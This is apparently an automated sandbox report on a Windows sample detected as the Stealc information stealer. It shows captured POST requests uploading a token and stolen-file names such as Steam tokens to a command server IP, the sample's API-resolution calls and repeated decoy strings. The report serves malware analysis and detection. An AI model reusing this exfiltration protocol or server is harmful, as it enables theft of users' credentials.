Oct 24, 2024 11:02:34.600632906 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="message"files------IECFIEGDBKJKFIDHIECG--
Oct 24, 2024 11:02:35.219531059 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:35.223144054 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:35.233968973 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="file"------BAEBFIIECBGCBGDHCAFC--
Oct 24, 2024 11:02:36.021228075 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:36.048899889 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="message"ybncbhylepme------JDBFIIEBGCAKKEBFBAAF--
Oct 24, 2024 11:02:36.341530085 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:36 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 24, 2024 11:02:36.343542099 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECA Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 2d 2d 0d 0a Data Ascii: ------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEHJKJEBGHJJKEBGIECA--
Oct 24, 2024 11:02:37.133781910 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	05:02:09
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x320000
File size:	1'829'376 bytes
MD5 hash:	E13D89812EE808B7637FE554797B759B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2086620561.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00339860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00F20C80), ref: 003398A1
GetProcAddress.KERNEL32(75900000,00F20F50), ref: 003398BA
GetProcAddress.KERNEL32(75900000,00F20D88), ref: 003398D2
GetProcAddress.KERNEL32(75900000,00F20CC8), ref: 003398EA
GetProcAddress.KERNEL32(75900000,00F20E00), ref: 00339903
GetProcAddress.KERNEL32(75900000,00F29100), ref: 0033991B
GetProcAddress.KERNEL32(75900000,00F14EE0), ref: 00339933
GetProcAddress.KERNEL32(75900000,00F14EA0), ref: 0033994C
GetProcAddress.KERNEL32(75900000,00F20CE0), ref: 00339964
GetProcAddress.KERNEL32(75900000,00F20D70), ref: 0033997C
GetProcAddress.KERNEL32(75900000,00F20CF8), ref: 00339995
GetProcAddress.KERNEL32(75900000,00F20D40), ref: 003399AD
GetProcAddress.KERNEL32(75900000,00F14DE0), ref: 003399C5
GetProcAddress.KERNEL32(75900000,00F20D10), ref: 003399DE
GetProcAddress.KERNEL32(75900000,00F20D58), ref: 003399F6
GetProcAddress.KERNEL32(75900000,00F150E0), ref: 00339A0E
GetProcAddress.KERNEL32(75900000,00F20DB8), ref: 00339A27
GetProcAddress.KERNEL32(75900000,00F20F68), ref: 00339A3F
GetProcAddress.KERNEL32(75900000,00F15000), ref: 00339A57
GetProcAddress.KERNEL32(75900000,00F20FE0), ref: 00339A70
GetProcAddress.KERNEL32(75900000,00F14FC0), ref: 00339A88
LoadLibraryA.KERNEL32(00F21028,?,00336A00), ref: 00339A9A
LoadLibraryA.KERNEL32(00F20F80,?,00336A00), ref: 00339AAB
LoadLibraryA.KERNEL32(00F20FF8,?,00336A00), ref: 00339ABD
LoadLibraryA.KERNEL32(00F21010,?,00336A00), ref: 00339ACF
LoadLibraryA.KERNEL32(00F20F98,?,00336A00), ref: 00339AE0
GetProcAddress.KERNEL32(75070000,00F20FB0), ref: 00339B02
GetProcAddress.KERNEL32(75FD0000,00F20FC8), ref: 00339B23
GetProcAddress.KERNEL32(75FD0000,00F295A8), ref: 00339B3B
GetProcAddress.KERNEL32(75A50000,00F295C0), ref: 00339B5D
GetProcAddress.KERNEL32(74E50000,00F14F60), ref: 00339B7E
GetProcAddress.KERNEL32(76E80000,00F291C0), ref: 00339B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00339BB6

Strings

NtQueryInformationProcess, xrefs: 00339BAA

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: dd220eb37253dba0ede648c46119a4b17aa9cc9909e4b7f412382006a46feed0
Instruction ID: 1d85f697bb00605e3b4369793eab4829fbaff850c1f9c604847c5ae749dd5086
Opcode Fuzzy Hash: dd220eb37253dba0ede648c46119a4b17aa9cc9909e4b7f412382006a46feed0
Instruction Fuzzy Hash: F3A14EB55002409FD348EFACEE88A5637F9F7AC301704451AE605E3265D7F9A84AFF62

Function 003245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0032460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0032479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324678

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti 